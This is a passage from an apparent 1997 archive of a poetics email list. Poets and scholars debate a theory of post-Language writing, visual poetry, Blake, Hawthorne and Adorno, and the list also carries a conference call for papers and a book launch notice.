just the ones from Providence--Norma Cole and Cole Swenson, for example). Or the impact of Russian poets.

Another would be the example (and importance, frankly) of this list and others like it.

One of the distressing things about recent years has been that, outside of Chain and a very other venues (Witz, the NY Talk marathon), there have been few serious places beyond these lists to discuss poetry seriously that are not entirely within the bounds of academic institutions (and I'm quite aware of just whose server this message will sit). With the exception of those in the academy, there has been a virtual shutdown of theoretical work by poets in my own age group since, say, 1990.

I'm open to any and all suggestions.

Ron

>Date: Thu, 2 Jan 1997 15:41:57 -0400
>From: Jordan Davis <[redacted]>
>Subject: theory surge
>
>Would Ron Silliman please reiterate his claim to Henry that it's time
for a
>theory of post-language writing?
>
>Jordan

↑ Index

34. Charles Alexander
visual etc.
Sat 4 Jan 1997

I thought I posted the following to the Poetics List a few days ago, but it turns out I had a real snafu in my email addresses list, & I think I ended up posting it to Pierre Joris. Sorry, Pierre, it was not intended solely for you at all.

charles

Very busy lately, holidays & all, so just getting back to some thinking about Ron's & other's responses to my initial query regarding the relative absence of visual & other multimedia poetries within lang-poetry circles. Part of this is so hard just because one resists the labels, even (or maybe mostly) the lang one.

But I rather disagree with Ron that visual poetry lacks attention to linguistics, which was/is so important to language poetry. I just think the linguistic

emphasis may be elsewhere. For example, in Karl Young's work (it's a very broad body of work, and these comments don't apply to all of it) one encounters a visual surface at times like rubbings of language from building surfaces (I'm thinking of some of his screen-folds here, but of other works as well), giving a sense of the history of the presentation of language, complicated by his work's presentation of works in translation, thus involving a transference of language in both time (the historical dimension) and space (one culture to another). This can get quite complex and is, I think, very much "linguistic." And in Karl Kempton's work, much of which presents letters structured to make patterns/pictures, often the choice of letters quite consciously concerns the aural, visual, and historical properties of those letter forms. This too is linguistic -- and the patterns presented are sometimes based on sign systems from a variety of cultures, another linguistic consideration. And certainly in bpNichol's work, where words are sometimes transformed into pictures and back again, there is a broad commentary on the nature of language/linguistic systems. Even in one of Nichol's numerous translations of basho's famous haiku of the frog jumping into the pond, what seems like a simple picture of a line (the trajectory of the frog's jump) into an open circle, is actually, because of the conspicuous placing of that line on the bottom right-hand part of the circle, a giant uppercase letter Q. This may be stretching the concept of what is linguistic -- but is it really? I still would agree with Ron that much of what came to the forefront in some visual poetry anthologies (and particularly the Mary Ellen Solt anthology) was indeed quite static. But then within most of the poetry anthologies of any kind critiqued on this Poetics List over the last couple of years, I think that many of us would agree there is also a good deal of static work.

It's also intriguing to me that Ron and others bring up Johanna Drucker's work, pretty much before the work of anyone else. I'm a friend and admirer of Johanna, but I think her visual poetry (if one wants to consider it as that rather than as artist's book or visual typography) is but one corner of a vast body of work. I do agree that her critical work is a beginning toward a needed body of theory regarding visual poetry/book arts/typographical art work, but even there I don't think what she or anyone else has done to this point in any way approaches comprehensive treatment of the field. In some ways the joy of book arts and visual poetry and sound poetry is that the work is so outside the academy (for the most part -- yet there are exceptions) that theory hasn't touched it much. Yet it's also so individualistic that I can't imagine a theory which could do it justice, although I do see a great need (and have called for it in numerous places) for more critical and theoretical approaches to such work. It may be in part because there isn't a great deal of writing (critical & theoretical) which might help us approach and understand such works, that far too little attention is paid to it. Visual poetry (as well as sound poetry, mail art, book arts, and

other related practices, many of which are quite "linguistic") has resisted almost entirely being absorbed into any programs or schools or academies, which has perhaps benefited its ability to remain a valid and widely practiced underground art, but which has made it difficult for people to find and understand it.

charles

↑ Index

35. Michael Boughn
Re: Watch it
Sat 4 Jan 1997

> *For the record:*
> *Mike Boughn says 'old protestant mean streak, self-centered judgmentalism'*
> *and Chris Stroffolino says 'ethical puritan vindictiveness'.*
>
> *Watch it,*
> *Jordan*

Watch what, Jordan?

Mike
[redacted],.ca

↑ Index

36. shoemakers
Re: Dogma & judgement
Sat 4 Jan 1997

Douglas--That's a marvelous quote in your sig. Who is Margaret Avison and where does the quote come from?

Happy New Year ev'rybody, steve

On Sat, 4 Jan 1997, Douglas Barbour wrote:

> *Re:From: Chris Stroffolino <[redacted]>*
> *Subject: Re: "tough love" WCW (the judge he holds a grudge)*
>
> *I always thought bpNichol put the case best in a palindrome in _The*
> *Martyrology Books 3 &4_"Coda: Mid-initial Sequence" :*
>
> *'dogma I am god'*
> *heresy*
> *hearsay*
> *in the worst sense*

> *false pride*
> *who thinks to bestride the world*
> *because he feels crushed by it*
>
> *What else need be said?*
>
> *==========*
> *Douglas Barbour*
> *Department of English Gentle and just pleasure*
> *University of Alberta It is, being human, to have won from space*
> *Edmonton Alberta T6G 2E5 This unchill, habitable interior*
> *[redacted] FAX:[redacted] Which mirrors quietly the light*
> *H: [redacted] Of the snow, and the new year,*
> *Margaret Avison*

Steve Shoemaker

↑ Index

37. Douglas Barbour

Re: Dogma & judgement

Sat 4 Jan 1997

Re:From: Chris Stroffolino <[redacted]>
Subject: Re: "tough love" WCW (the judge he holds a grudge)

I always thought bpNichol put the case best in a palindrome in _The Martyrology Books 3 &4_"Coda: Mid-initial Sequence" :

'dogma I am god'
heresy
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in the worst sense
false pride
who thinks to bestride the world
because he feels crushed by it

What else need be said?

========== Douglas Barbour Department of English Gentle and just pleasure University of Alberta It is, being human, to have won from space Edmonton Alberta T6G 2E5

This unchill, habitable interior [redacted] FAX:[redacted] Which mirrors quietly the light H: [redacted] Of the snow, and the new year,
Margaret Avison

↑ Index

38. **raea100900**
Re: cyber bookstores
Sat 4 Jan 1997

The Sun And Moon url is www.sunmoon.com/

↑ Index

39. **shoemakers**
post-lang theory
Sat 4 Jan 1997

Ron and Henry's recent posts have opened up huge territories, and I'll only try to reply from one particular angle. One urge that seems operative in the search for a post-langpo theory or description is simply the desire for something "other" than language, something for language to rub up against. In both Henry's "Providence School" model and the recent New Coast push this desire took a "mystical" turn. That's not quite where I want to go myself, but what I do want is something like a return to "the world." When Oppen talks about the world as this "fatal rock" or the "pure mineral fact," or when he says

The self is no mystery, the mystery is
That there is something to stand on.

We want to be here.

The act of being, the act of being
More than oneself.

he's stating basic propositions, giving basic reminders about the place from/in which we begin. This urge toward solidity, groundedness, a concern with *being*--a concern with the conditions of human habitation in the physical world (under pressure of technological change, formations of capital etc etc.) This is a direction often left unpursued by much langpo. There are always exceptions--say Leslie Scalapino in Way, or Kit Robinson in Champagne of Concrete--and these exceptions are among my favorite writings. Langpo in general has been important to me and figures centrally in my undestanding of twentieth-century poetry, so i don't want to caricature--but it's hard not to when you're trying explicitly to write of general trends. So: too often Langpo is ironized, textualized and flattened out, the poetic corollary of the structuralist and post-structuralist systematizings (Saussurean linuistics etc.). It seldom permits the kind of

"earnestness," the concern for "truth" we find in work like Oppen's. What we need now, maybe--to return to the question of theory--is a poetic analogue to theorist-writers like Taussig or de Certeau, who favor a more "tactile" approach, trying to write their way into the nooks and crannies of the big systems and concepts, punching holes in the grid, turning blind corners to disappear into unmapped space etc. As writing, this is a return to an immanent and phenomenological mode a la Benjamin. Rather than irony as a function of knowing the big bad System is out there and we can't escape it, there is the knowledge that we live in, through, around, behind the system all the time and it still leaves us with all the same awkward, anxious, daily, beautiful dilemmas we've always faced. So if:

Imagists>Objectivists>New American>Langpo>Worldpo???

(Oversimplified model, i know) how do we return to "the world" bringing with us all that L=A=N=G=U=A=G=E taught us? One immediate obection to all this will be the argument that language *is* how we live in the world, but I don't really believe this is the whole story. When Joan Retallack came here recently for a marvelous reading she quoted (either Austin or Searle, can't remember which) to the effect that "The dictionary contains all the distinctions we have cared to make." That's a great quote--and Joan seemed to be using it pretty approvingly, but she also corrected herself, saying that there are some, or perhaps a lot that *aren't* in there. That's what's fascinating to me--is why we constantly have to put the distinctions/words that *are* in there together in new ways, to try to get at the meanings that we feel but don't yet know how to say. Rubbing two words together won't make fire unless you can imagine the wood is there too.

steve

Steve Shoemaker

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40. maria damon

Re: Post-theory language writing?

Sat 4 Jan 1997

---

i agree, ron: and tho i myself write from the academy, i'm interested in precisely theorizing and facilitating practice (i guess, in short, providing a secondary but necessary discursive context for) of this kind of post-national poetix. i feel frustrated on a number of counts, some of which i've aired here, but heartened that others at least desire the same kind of discourses, even if we differ about what constitutes the poetic. maria d

In message <[redacted]> UB Poetics discussion
group writes:
> Yo, Jordan,
>
> That's not what I wrote, of course.
>
> What we need is a discourse about poetry (call it theory if you will,
> tho that implies some sense of unity when what's needed actually may be
> diversity, discussion and even disagreement) as it is TODAY. Which is
> to say, with a sense of whatever it was that was langpo taken as a
> (problematic) given, but also incorporating some other very important
> aspects of the universe, eg
>
> * The state of the world, post-USSR
> * The collapse of the left in the US
> (and Europe) as one (of many) consequences of the above
> * The collapse of theory
> (or at least the decline into dismal tenure infighting)
> * The social function of writing in a world in which capital
> is clearly more powerful than any state
> * The role(s) of technology in all of the above
> * The role of writing
> (and of language and language use)
> in relation to each of the above
>
> One obvious consequence of the above set of stuff that would need to be
> taken into consideration is the impact of internationalism--which can
> be seen in the influence of recent French writing in so many younger
> American poets (and not just the ones from Providence--Norma Cole and
> Cole Swenson, for example). Or the impact of Russian poets.
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> Another would be the example (and importance, frankly) of this list and
> others like it.
>
> One of the distressing things about recent years has been that, outside
> of Chain and a very other venues (Witz, the NY Talk marathon), there
> have been few serious places beyond these lists to discuss poetry
> seriously that are not entirely within the bounds of academic
> institutions (and I'm quite aware of just whose server this message
> will sit). With the exception of those in the academy, there has been a
> virtual shutdown of theoretical work by poets in my own age group
> since, say, 1990.

>
> I'm open to any and all suggestions.
>
> Ron
>
>
> ---
> >Date: Thu, 2 Jan 1997 15:41:57 -0400
> >From: Jordan Davis <[redacted]>
> >Subject: theory surge
> >
> >Would Ron Silliman please reiterate his claim to Henry that it's time
> for a
> >theory of post-language writing?
> >
> >Jordan
>

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41. Jordan Davis
watching the post
Sat 4 Jan 1997

Ron --

I don't know about the other givens you're giving, but Larry Price's theoretical writings (post-1990) have a lot to do with

> ** The social function of writing in a world in which capital*
> *is clearly more powerful than any state*

and

> ** The role of writing*
> *(and of language and language use)*
> *in relation to each of the above*

I hope Larry won't mind my outing him this way. As for the other parameters -- internationalism, academia, language poetry, serious places to talk seriously... I love period pieces, but one has to live _somewhere_... and now I see Rod's said something. Guess I'll step off.

Mike --

What to watch: don't equate 'protestant' with 'moralizing'.

Thanks,
Jordan

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42. aerialedge
To the Larks
Sat 4 Jan 1997

"A" "theory" "of" [Post-Language] Writing
or
"To the Larks"

The innumeration of the present conditions set forth by Mr. Silliman signify the sacral absurdity of the contemporary poetic quest. Given the increasing difficulties, not of understanding the (corporate) situation, but of negotiating it-- it is clear why there is not a voluminous literature on poetics _of the type he & his peers produced_ by those one might stipulate as "young."

Still, it would be a mistake to consider the "young" unengaged with issues of poetics-- Mr. Bernstein's phrase in his Riding paper "for what poets do is turn" provides something of a description for what I see happening in much contemporary writing. I think there is some accuracy in characterizing those dubbed language poets as having taken as a or the main source of influence writers such as Stein/Zukofsky/the Williams of Spring & All etc. A reinterpretation of the modernist canon. I believe a similar phenomenon may be going on among the generation following language relative to the New American Poets (the Allen anthology). We do not "hate speech." Though some of us, rather boringly engage in it with regard to poets slightly older than us. When I hear it it strikes me as fourth-beer-talk whatever premise(s) it takes place on.

To return to our story. This "return" to NYSchool, Blk Mtn, Beat, etc. poetics in the present leads to a more public poetry, (paradoxically with a smaller audience?-- this is yet to be seen), than that generally identified w/ language. The work of Lee Ann Brown, Kevin Davies, Stacy Doris, Ben Friedlander, Lisa Jarnot, P. Gizzi, Bill Luoma, Jennifer Moxley, Susan Smith Nash, Joe Ross, Chris Stroffolino, Mark Wallace, Elizabeth Willis, MANY others, all share a public inflection-- sometimes performative, often not, of speaking to/with/for an audience which is "accessible" -- not in any simplistic way, but nevertheless is a real event _in_ the work. Not to charge language with a complete absence of these concerns but the sense of audience in, say, much of _In the American Tree_ seems to me quite different. It perhaps assumed a level of information _because it could_ that it's not clear we can today. So the complexity does not go away, but takes another direction:

Spicer's "poetry is for poets" (visible in Moxley's dedication: "To my Contemporaries") as opposed to or thrown in the pot with "no one listens to poetry."

"For what poets do is turn. . ."

One could also point to various social phenomena as driving this different sense of audience-- the academy is _not_ supporting poets as it did. & personally I'm intrigued by the idea of "cognitive limits" -- that what can be understood can be understood by most people-- this leads to a different kind of imaging of the poetic project, & of the place of community. It makes it, I think, even more important, & even more a real possibility.

I've said elsewhere that with the exception perhaps of Fluxus, Language was the first avant-garde that included equal numbers of women to men. Of course there's no summation of what this means for the current generation but it is clear that this trend importantly continues & seems usefully to break down, though in other ways definitely participates in, the kind of metanarrative of influence relative to younger writers/langpo/new-amer I've *provisionally* presented above.

When I hear the term "post-language" my first thought is "why don't we just call ourselves poets." Insist on the term "Poet" with a capital P, just as at another time not long ago it was useful to insist on the term "writer" as opposed to "poet."

With a few years distance from that first preface to _Apex of the M_ one can see even more clearly the ways in which it was wrong while at the same time pointing to a necessary, even inevitable, generational differentiation. The degree to which it was proscriptive about these differences caused many to, rightly I think, laugh out loud. However it's unflagging faith in the value of the work being produced by new writers is touching, _&_ accurate.

The point I suppose is that every & no writer escapes this kind of historical framing. Escaping it when the work is truly attended to. Eacaping into it?

Two words-- Tom Raworth.

Outside of these questions of generational generosity an issue in poetics that interests me these days is sense & nonsense. Marnie Parson's book _Touch Monkeys_ seems to me very good. It frames the issue relative to the genre of Nonsense (Carrol, Lear, etc.) & makes interesting use of Kristeva in reading Stein, Zukofsky, Hejinian, others. I'm less interested in the genre than in some crossing of Wittgenstein w/ Lacan/Kristeva/Zizek but it always comes out Buddhist. Though when/if I might come up with something presentable. . .

Bob Mould at the Knitting Factory Feb. 8, two shows!
Both Amygdala & Duende will be in the audience.

--Rod

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43. Peter Quartermain

Re: watching the post

Sat 4 Jan 1997

Dear list:

Two requests:
ONE:
At 02:46 PM 1/4/97 -0400, Jordan Davies wrote:
>
>I don't know about the other givens you're giving, but Larry Price's
>theoretical writings (post-1990) have a lot to do with
>
>>* The social function of writing in a world in which capital
>> is clearly more powerful than any state
>
>>* The role of writing
>> (and of language and language use)
>> in relation to each of the above

Jordan (or anyone else)::
could you this poor innocent a reference or two? Larry's writings are to be found where?

TWO: For those of us who were jot at the MLA, the references to the Riding session are tantalizingly cryptic. SOMETHING apparently went on, off, or happened, or did n't, or got said, or denied, or insulted or praised.. Or did it? but WHAT? any enlightenment, anyone?

Peter
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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44. Charles Alexander
Re: To the Larks
Sat 4 Jan 1997

Rod -- Great post on the present/future of writing, poets as Poets, the insistence on new Poets writing it and differentiating their project, and more. Truly, "what poets do is turn . . ."

One concern, though, in this thread. In this attempt to begin a grasping toward a theory of post-Language writing, is there some assumption that there is "a" theory of language writing. I think, to its credit, that there are many. And there must be many for the writing now & to come. Perhaps related in an overall body, but each with its separate address & function.

charles

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45. aerialedge
Re: To the Larks
Sat 4 Jan 1997

C. A. wrote:
>In this attempt to begin a grasping
toward a theory of post-Language writing, is there some >assumption that
there is "a" theory of language writing. I think, to its >credit, that there
are many.

It seems to me if there is "a" theory of this writing, post-this-or-that, it is just that-- there are many.

--Rod

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46. John Kinsella
An observation
Sat 4 Jan 1997

A slight sun-lift liberates though emphasises the cool drifts as blackbirds struggle and squirrels fetishise absence. The breeze sibilant camouflages its cut & bite and subterfuge yields like the lyric. I take no place in my centre and am merely informed, a second to an even greater hack called information. The great presses turn driven by the kilns of Fleet Street, the news is promising: the Lads will decline in 97 and insurance companies WILL undermine the premise of capitalism: come undone like the bonds of a hydrogen sulphide molecule exposed to reasonable heat.

John Kinsella

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47. Herb Levy
Re: To the Larks
Sat 4 Jan 1997

Charles Alexander wrote:

> *One concern, though, in this thread. In this attempt to begin a grasping toward a theory of post-Language writing, is there some assumption that there is "a" theory of language writing. I think, to its credit, that there are many. And there must be many for the writing now & to come. Perhaps related in an overall body, but each with its separate address & function.*

I think "the" theory of language poetry IS that there are many theories of language poetry.

That is, if there is "a" theory of language poetry at all.

With luck this means there must continue to be a multiplicity of theories, rather than just one for any post- poetries.

(I don't mean to resume the recent discussion about Zoocoughski by using the words in quotations.)

Herb Levy
[redacted]

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48. David Bromige
upcoming biblio reading
Sat 4 Jan 1997

Hals und beinbruch Douglas!

db

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49. David Kellogg
Re: Post-theory language writing?
Sat 4 Jan 1997

Marjorie Perloff's new book, _Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary_, is in some sense an anti-theory of the avant-garde. Or at least it uses Wittgenstein "against" theory and "for" avant-garde writing in interesting ways. My review-essay of this book, entitled "Perloff's Wittgenstein: W(h)ither Poetic Theory," will come out this month (so I hear) in

Diacritics. It engages some of the issues Ron mentions (i.e., the collapse of theory, natch).

I've made this offer before, but I'll make it again: anybody who wants an off-print, mail me backchannel and I'll send you one. Try to send me something of yours in return.

Really, tho, everybody should read the whole issue.

Cheers,
David
~~~
~~~

51. Ward Tietz
Re: post-theory
Sun 5 Jan 1997

It seems to me that there could be quite a lot of life left to theory, that is if we allow it to take different forms. The crisis in theory may be no more than a crisis in the forms of theory, which might only be a matter of more general and rapid medial changes that have overwhelmed our traditional means of cognition and response. What we probably need now is more non-written theory to supplement the more standard written variety.

Gregory Ulmer has argued for a teletheory, a theory that uses video and other multi-media supports, but it could take other forms as well.

Ward Tietz

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52. Charles Alexander
Re: post-theory
Sun 5 Jan 1997

Intriguing ideas, Ward. Just as communication occurs in ways which are visual, musical, etc., why can't theory?

charles

At 07:33 AM 1/5/97 EST, you wrote:
>It seems to me that there could be quite a lot of life left to theory, that is
>if we allow it to take different forms. The crisis in theory may be no more
>than a crisis in the forms of theory, which might only be a matter of more
>general and rapid medial changes that have overwhelmed our traditional
means of
>cognition and response. What we probably need now is more non-written
theory to
>supplement the more standard written variety.
>
>Gregory Ulmer has argued for a teletheory, a theory that uses video and other
>multi-media supports, but it could take other forms as well.
>
>
>Ward Tietz
>
>

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53. Michael Boughn
Re: watching the post
Sun 5 Jan 1997

> *Mike --*
>
> *What to watch: don't equate 'protestant' with 'moralizing'.*
>
> *Thanks,*
> *Jordan*

Jordan: I was referring to the mean streak within protestantism, not to all "Protestants": cf Calvin for instance. I thought, perhaps wrongly, that after Hawthorne it was commonly assumed in many literate circles that that mean streak was a big part of the foundation of US culture ("The Maypole at Merrymount", "Young Goodman Brown", _The House of the Seven Gables_, _The Scarlet Letter_ etc.). Hence Ralph Reed, Newt, Falwell, etc. etc. all those weasly looking guys with squinty eyes, moral axes to grind, and big wealthy PACs.

I certainly didn't mean to offend any one on the list.

I knew George was a Baptist, but I thought it was the Molson Baptists.

Best,
Mike

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54. Michael Boughn
Re: watching the post 2
Sun 5 Jan 1997

Interestingly, now that I think about it, Hawthorne posed the problem precisely in the terms WCW lays out in the quote Chris posted, i.e. what's always missing in those bleak, Hawthornian Puritan moralized landscapes is fullfilled love, not as we have come to limit its signification and as I hear Chris translating it, i.e. to some one, but as a mode of living. What Blake called a State, in this case Beulah, as opposed to, say, Ulro, the State within which, WCW implies, good poems cannot be written. For Hawthorne, I think it's safe to say, it was a problem of the failure of the American imagination to live up to the fundamental Christian values that it originally proposed to found itself on--love and the forgiveness of sin, as opposed to judgement and the punishment of sin, or perhaps fullfilled love as opposed to unfullfilled love.

Mike
[redacted]

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55. George Bowering
Re: watching the post
Sun 5 Jan 1997

> *I knew George was a Baptist, but I thought it was the Molson Baptists.*
>
> *Best,*
> *Mike*

Used to be. But I went to Europe, just like henry James, and got sophisticated. Now I belong to the Bass Ale Baptists.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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56. George Bowering
Re: Hawthorne
Sun 5 Jan 1997

Yep, I remember, though, my long ago reading of Hawthorne's short stories (and jejeune essay I published on them) as being about the hassle of being an artist, whether in "America" or Europe, the question of the creator's sinful pride and the punishment that comes with it. That is certainly part of my youth, too, the puritan response to my starting in youth to develop an artist's personality (you know, staying in bed late etc.).

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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57. maria damon
adorno revisited
Sun 5 Jan 1997

sorry to bring this up again, but, adorno's character aside (tho i read the mandel thread w/ much interest and learned a lot), i was wondering whether anyone other than me reads his "no poetry after auschwitz" dictum to refer specifically to lyric poetry, as this is the genre that most preoccupies his attention elsewhere, and as this statement makes an enormous amount of sense to me --i.e. no context for the purely self-reflective, aesthetic object that glorifies the individual subject generating it and celebrated by it...? that is, beyond a statement mourning the demise of enlightenment culture generally, does it indict specific products of that culture --and by implication, suggest that there are other more appropriate modes of cultural (and within that, poetic) expression after 1945? i was on a panel at MLA on "ecstacy, history, and lyric subjectivity," where i talked about hannah weiner and wanted but was unable to develop the concept of her poetry as "anti-lyric" subjectivity, or "post-lyric" (post 1945 poetic) subjectivity, and this question was one i mulled over somewhat. any help wd be welcome. bests, maria d

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58. Aldon L. Nielsen
CFP: AIHA,30th Annual Conference (13-15 November 1997) (fwd)
Sun 5 Jan 1997

---------- Forwarded message ----------
Date: Mon, 30 Dec 1996 13:37:01 -0600 (CST)
From: Fred Gardaphe x5219 <[redacted]>
To: [redacted]
Subject: CFP: AIHA,30th Annual Conference (13-15 November 1997) (fwd)

Aldon,
Good to see you at MLA; here's the call for papers I was telling you
about; feel free to spend it out to places in cyberspace.
Fred

---------- Forwarded message ----------
Date: Wed, 11 Dec 1996 00:02:34 +0100
From: Marco Della Pina <[redacted]>
To: Multiple recipients of list H-ITALY <[redacted]>
Subject: CFP: AIHA,30th Annual Conference (13-15 November 1997)

Date: Tue, 10 Dec 1996 07:35:32 -0600 (CST)
From: Fred Gardaphe x5219 <[redacted]>

Call for Papers
American Italian Historical Association
30th Annual Conference
13-15 November 1997
Cleveland, Ohio

Shades of Black and White
Italy-Africa-U.S.
Conflict and Collaboration between Two Communities
Deadline June 1, 1997

We invite presentations by researchers and scholars on any topic related to the general theme of the conference. Papers which focus on the relationship between African Americans and Italian Americans, as well as on the peoples of Africa and Italy are encouraged. Presenters are not limited to traditional forms of expressions or disciplines. Examining the varied relationships from artistic perspectives is encouraged. The conference is hosted by the Italian American Cultural Foundation (IACF) and will be held at the Holiday Inn Lakeside in downtown Cleveland. Hotel rates $79 + taxes, single or double Suggestions for entire sessions and panels are also welcomed. Those interested in serving as chairs of or respondents to panels, should notify the conference organizer before the June 1st deadline. Proposals for papers, presentations, panels and other participation should be submitted, along with a 200 word biography to: Mr. Joseph Ventura 11418 Edgepark Drive Garfield Heights, Ohio 44125 [redacted]; fax [redacted] AIHA policy requires that presenters be members of the organization, but will suspend this requirement for accepted papers by those who do not wish to become members. All participants must be pre-registered for the conference in order to appear on the final conference program. Individual memberships are: Regular $35; Family $50; Students $15; Retired: $20. Checks should be made payable to AIHA and sent to Dr. Salvatore LaGumina, Department of History, Geography and Political Science, Nassau Community College, One Education Drive, Garden City, NY 11530-6793. Full conference Registration: Early bird--before October 12, 1997 $140 After October 12, 1997 $160 Registration Costs include two lunches and the annual banquet Full Conference without lunches $120 Full Conference only $100 Partial Conference Registration: 1 day $60; 2 days, $90; banquet only $75. Scholarships are limited. For more information call [redacted].

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59. Chris Stroffolino
a boughn to pick (ULRO)
Mon 6 Jan 1997

But Jordan--I don't think neither Michael and I were equating
PROTESTANT with MORALIZING (at least not in a positive sense, or even in a negative sense...
nor was I (will not speak for Michael here) suggesting,
unlike some people (who will remain nameless)
that a sense of the ETHICAL in poetry means that
"one supports the status quo....

but I see now that Michael has replied..... Michael...okay, Blake claims that good poems can not be written from the state of ULRO.... Yet, I would suggest that part of Blake's "genius" (if I may so use that term without somebody LAFFING OUT LOUD....although actually if they ENJOY that laugh, let them) was that he, especially in the 4 ZOAS, MILTON and JERUSALEM, actually did "give voice" to the ULRO impulse--but made it into a "character". I am very interested in the poetic freedom the more expansive mode of poetry afforded Blake--an ability to spend a lot of time enacting and exfoliating exactly the negative and vindictive and destructive and vengeful and painful and bitter and dark processes and relationships that his "better wisdom"---the unfallen Los--could exist as kind of implicit judge for. One of the questions is, DOES Blake actually "purge" such negativity, whether seen as "inner" or "societal"? ---Chris

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60. Chris Stroffolino
Re: POETICS Digest - 4 Jan 1997 to 5 Jan 1997
Mon 6 Jan 1997

RE Ron Silliman's post of questions (which I won't here articulate an answer--still waiting to see how he responds to Rod, etc.)--or should I say "assignments"--
He claims that
the collapse of the left is a consequence of the
breakdown of the USSR (in america as well as europe)
I see that in europe, but HOW in America....
It seemed to me it was as collapsed b4 as after....
One could even appeal to the argument that now that
the phony communism of the USSR is gone, that there's
a hope for a new left more than there was before the
"breakdown".....
(also, the "french thing" in us poetry seems to be waning...

even providence has turned out Lisa J., Pam R (both with
B D books), Jennifer M---who have very little in common
with the Albiach/Palmer nexus (and now, say, Ange
Mlinko)....
well, i'll stop here. chris

"i got sunshine on a cloudy day"---smokey robinson
"Creating the effect of sunshine on a cloudy day over the area of a city block was something our budget didn't allow for"--
spike lee

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61. Ron Silliman

Collapse of theory (a theory of collapse)

Mon 6 Jan 1997

Ward,

I doubt that it's the forms so much (since I take it that everything human is, in some sense, theoretical, if we can but see it as such...even the anti-theory protestations of anti-intellectuals) as the fact that Theory (big T) as a social ensemble at some point stopped being about the desire to change the world (i.e., stopped seeing itself in relation to social movements) and quickly descended in being about ways to better the self (that next step increase, etc.).

Perhaps a history of the work of Stanley Aronowitz, the union organizer (steelworkers, I believe) who has been one of the pooh-bahs behind Social Text (or, perhaps, Sokal Text), one of the major influences on Jameson and a good portion of the US left, might be illustrative.

How is it that The Project went from changing the world to changing one's oil?

Ron

>
>Date: Sun, 5 Jan 1997 07:33:52 EST
>From: Ward Tietz <[redacted]>
>Subject: Re: post-theory
>
>It seems to me that there could be quite a lot of life left to theory,
that is if we allow it to take different forms. The crisis in theory
may be no more than a crisis in the forms of theory, which might only
be a matter of more general and rapid medial changes that have
overwhelmed our traditional means of cognition and response. What we
probably need now is more non-written theory to supplement the more
standard written variety.

>
>Gregory Ulmer has argued for a teletheory, a theory that uses video
and other multi-media supports, but it could take other forms as well.
>

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62. Ron Silliman
Jim Gustafson
Mon 6 Jan 1997

Somebody told me that there was a message on this list by someone who was apparently writing an obit for Jim Gustafson, the Detroit area poet. If so, I missed it. Can this be true?

Ron Silliman

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63. Michael Boughn
Re: a boughn to pick (ULRO)
Mon 6 Jan 1997

> *Michael...okay, Blake claims that good poems can not be*
> *written from the state of ULRO....*
> *Yet, I would suggest that part of Blake's "genius" (if I may so use that term without somebody LAFFING OUT LOUD....although actually if they ENJOY that laugh, let them) was that he, especially in the 4 ZOAS, MILTON and JERUSALEM, actually did "give voice" to the ULRO impulse--but made it into a "character".*

No, Chris, I didn't say that. I think I projected those poetics on to Williams as a way of interpreting the quote you posted. And it's not, I don't think, a question with Blake of purging anything, as if you could "purify" this world. In Blake's cosmology, such an impulse itself would be ulronic, no? Your impulse sounds very similar to Blake's, though it seems to me he places more emphasis on understanding how that "darkness" can be located in a cosmology that sustains contention, the antithetical, as Jack Clarke called it.

> Altho' our Human Power can sustain the severe contentions
> of Friendship, our Sexual cannot, but flies into the Ulro.
> --_Milton_ 41: K533; E143

Mike
[redacted]

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64. Michael Boughn
Clarke book launch
Mon 6 Jan 1997

On Februrary 15, 1997, Talking Leave Books Store, Just Buffalo, and shuffaloff books will co-sponsor a book launch for John Clarke's _In the Analogy_ (shuffaloff, 1997). John Clarke was a long time resident of Buffalo where he taught at SUNY at Buffalo for 29 years. A jazz musician and Blakean, Clarke, in association with Charles Olson, John Weiners, and Harvey Brown, was an editor of the _Niagara Frontier Review_, and with Fred Wah, George Butterick, and Albert Glover of _The Magazine of Further Studies_. In 1980 Clarke delivered the Lectures in Poetics at the New College of California which became _From Feathers to Iron: A Concourse of World Poetics_ (Tombouctou, 1987). During the 1980's Clarke performed "Skald Song" with bassist/percussionist Charles Keil, also of Buffalo. In 1989, he was named Ohio Poet by the Ohioana Library Association, and in 1991 he received the prestigious Artist's Fellowship in Poetry from the New York Foundation for the Arts. From 1989 until his death in 1992 he edited _intent.:letter of talk, thinking, and document_. _In the Analogy_ is the culmination of Clarke's life-work in poetry. The first volume was published by shuffaloff in 1991. The current edition includes all the poems from that book as well as an additional 5 complete books and part of a sixth. A ravishing translation of the sonnet into an american language modulated by an epic impulse, _In the Analogy_ astonishes with the range of its thinking and reference. This is John Clarke's final work, not finishing, though it never for a moment forgets that fact, but finally just stopped in its tracks. As Robin Blaser has written: "Here we are just plain after-the-modern (to use Olson's clear recognition and step around the pile-up of postisms) and at work. . . . A really, really good book!" The book launch, to be held at Talking Leaves Book Store at 7:30 PM, will include an open reading. Jack's friends and students are encouraged to read from his work, or to read work that he inspired. For more information, contact Michael Boughn at shuffaloff books ([redacted], [redacted]) or Jon Welch at Talking Leaves Books ([redacted], [redacted]).

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65. Douglas Barbour
Re: Margaret Avison
Mon 6 Jan 1997

"Date: Sat, 4 Jan 1997 12:37:36 -0400
From: [redacted]
Subject: Re: Dogma & judgement

Douglas--That's a marvelous quote in your sig. Who is Margaret Avison and where does the quote come from?"

Margaret Avison is a Canadian poet who appeared in Cid Corman's 'original' _Origin_ as well as canadian mags. & has published a number of books in Canada, although one, _The Dumbfounding_, was published by Norton in 1966. That quote is from "New Year's Poem," which first appeared in _Winter Sun_ (U of Toronto, 1960; McClelland & Stewart, [w/ _The Dumbfounding_] 1982). A deeply Christian poet, she is also one of our finest. George, who has written terrific essay on her work, might add something to this small comment.

(Of course, New Year's being over, I have already changed my sig...)

==========
==========
Douglas Barbour
Department of English
University of Alberta in the rooms you live in
Edmonton Alberta T6G 2E5 other people's books line your shelves
[redacted] FAX:[redacted]
H: [redacted] bpNichol

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66. Charles Bernstein
The Visual in Language
Mon 6 Jan 1997

>With luck this means there must continue to be a multiplicity of theories,
>rather than just one for any post-poetries.
-- Herb Levy writes, echoing Rod Smith, and also for me Charles Alexander's recent post on the "visual"...

